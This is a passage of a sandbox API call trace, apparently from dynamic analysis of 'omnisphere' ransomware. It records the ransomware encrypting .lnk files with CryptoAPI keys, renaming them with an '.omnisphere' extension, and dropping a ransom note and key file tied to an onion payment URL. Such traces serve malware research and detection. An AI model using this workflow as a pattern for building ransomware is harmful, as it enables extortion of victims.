dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.289] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.289] GetProcessHeap () returned 0x1600000 [0127.289] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b0) returned 0x16f0f10 [0127.290] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WkZQJwjjVnx.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wkzqjwjjvnx.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WkZQJwjjVnx.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wkzqjwjjvnx.lnk.omnisphere")) returned 1 [0127.290] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WkZQJwjjVnx.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WkZQJwjjVnx.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WkZQJwjjVnx.lnk.omnisphere.id" [0127.290] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WkZQJwjjVnx.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wkzqjwjjvnx.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.292] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.292] CloseHandle (hObject=0x3c0) returned 1 [0127.293] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.293] CloseHandle (hObject=0x288) returned 1 [0127.293] SetEndOfFile (hFile=0x28c) returned 1 [0127.293] FlushFileBuffers (hFile=0x28c) returned 1 [0127.296] CloseHandle (hObject=0x28c) returned 1 [0127.296] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WkZQJwjjVnx.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.296] GetProcessHeap () returned 0x1600000 [0127.296] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f20c0 [0127.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.296] GetProcessHeap () returned 0x1600000 [0127.296] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f19d8 [0127.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f19d8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.296] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.296] GetProcessHeap () returned 0x1600000 [0127.296] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8508 [0127.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8508, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.296] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.296] GetProcessHeap () returned 0x1600000 [0127.296] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d9eb8 [0127.296] PathCombineW (in: pszDest=0x16d9eb8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.297] GetProcessHeap () returned 0x1600000 [0127.297] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e7218 [0127.297] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.297] WriteFile (in: hFile=0x28c, lpBuffer=0x16e7218*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e7218*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.297] CloseHandle (hObject=0x28c) returned 1 [0127.297] GetProcessHeap () returned 0x1600000 [0127.297] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f20c0 | out: hHeap=0x1600000) returned 1 [0127.297] GetProcessHeap () returned 0x1600000 [0127.297] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.297] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.297] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.298] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.298] CloseHandle (hObject=0x28c) returned 1 [0127.298] GetProcessHeap () returned 0x1600000 [0127.298] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.298] GetProcessHeap () returned 0x1600000 [0127.298] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656e08 | out: hHeap=0x1600000) returned 1 [0127.298] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f274747, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f274747, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1f29aa7e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x314, dwReserved0=0x0, dwReserved1=0xd3, cFileName="wuPx.lnk", cAlternateFileName="")) returned 1 [0127.298] GetProcessHeap () returned 0x1600000 [0127.298] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x92) returned 0x167b808 [0127.298] PathCombineW (in: pszDest=0x167b808, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="wuPx.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wuPx.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wuPx.lnk" [0127.298] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.298] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wuPx.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wupx.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.299] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=788) returned 1 [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.299] GetTickCount () returned 0x115fc3e [0127.300] GetTickCount () returned 0x115fc3e [0127.300] GetTickCount () returned 0x115fc3e [0127.300] GetTickCount () returned 0x115fc3e [0127.300] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16689b0) returned 1 [0127.300] CryptImportKey (in: hProv=0x16689b0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0127.300] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.300] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.300] CryptReleaseContext (hProv=0x16689b0, dwFlags=0x0) returned 1 [0127.300] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x314, lpName=0x0) returned 0x288 [0127.301] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x314) returned 0x1480000 [0127.301] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0127.301] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16396e8) returned 1 [0127.301] CryptSetKeyParam (hKey=0x16396e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.301] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.301] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.301] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.302] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.302] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.302] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.302] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.302] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.302] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.302] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.302] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.302] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.302] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.302] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.302] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.302] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.302] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.302] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.302] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.302] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.302] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.302] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.302] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.302] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.302] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.302] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.303] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.303] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.303] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.303] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.303] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.303] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.303] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.303] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.303] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.303] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.303] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.303] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.303] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.303] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.303] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.303] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.303] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.303] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.303] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.303] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.303] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.303] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.303] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.303] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.304] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.304] CryptDestroyKey (hKey=0x16396e8) returned 1 [0127.304] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0127.304] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x314, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.304] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.304] GetProcessHeap () returned 0x1600000 [0127.304] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a2) returned 0x16ef8d0 [0127.304] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wuPx.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wupx.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wuPx.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wupx.lnk.omnisphere")) returned 1 [0127.305] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wuPx.lnk.omnisphere", lpString2=".id" | out: 